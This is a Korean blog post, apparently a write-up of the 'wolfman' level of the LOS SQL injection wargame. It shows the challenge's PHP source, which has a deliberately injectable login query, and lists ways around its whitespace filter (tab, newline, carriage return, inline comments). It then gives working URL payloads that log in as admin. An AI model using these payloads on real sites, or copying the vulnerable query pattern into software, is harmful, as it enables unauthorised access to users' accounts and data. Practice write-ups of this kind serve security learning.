티스토리 뷰

Web_Hacking/LOS

[LOS] wolfman

MitNy 2017. 8. 12. 21:57





<?php 

  include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 
  
$query "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("wolfman"); 
  
highlight_file(__FILE__); 
?>



공백 필터링이 있는 문제다.

저번처럼 id는 guest로 고정되어있고 id는 admin이 되어야 문제가 풀린다.


공백이 필터링 되어있을 때 대신할 수 있는 것은 

1. TAB :  %09

2. \n : %0a

3. \r : %0d

4. 주석 : /**/

5. 괄호 : ()

6. +


등등이 있는데

이 문제에선 괄호가 안먹힌다.


그래서 TAB,\n,\r,주석의 경우를 다 테스트 해봤다.


TAB : ?pw=%27%09or%09id=%27admin

\n : ?pw=%27%0aor%0aid=%27admin

\r : ?pw=%27%0dor%0did=%27admin

주석 : ?pw=%27/**/or/**/id=%27admin






캡쳐는 많이 해뒀는데 TAB,\n,\r 의 보여주는 쿼리문이 다 똑같아서 하나로만 올린다.

 





'Web_Hacking > LOS' 카테고리의 다른 글

[LOS] orge  (0) 2017.08.13
[LOS] darkelf  (0) 2017.08.13
[LOS] orc  (0) 2017.08.12
[LOS] goblin  (0) 2017.08.10
[LOS] cobolt  (0) 2017.08.10
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함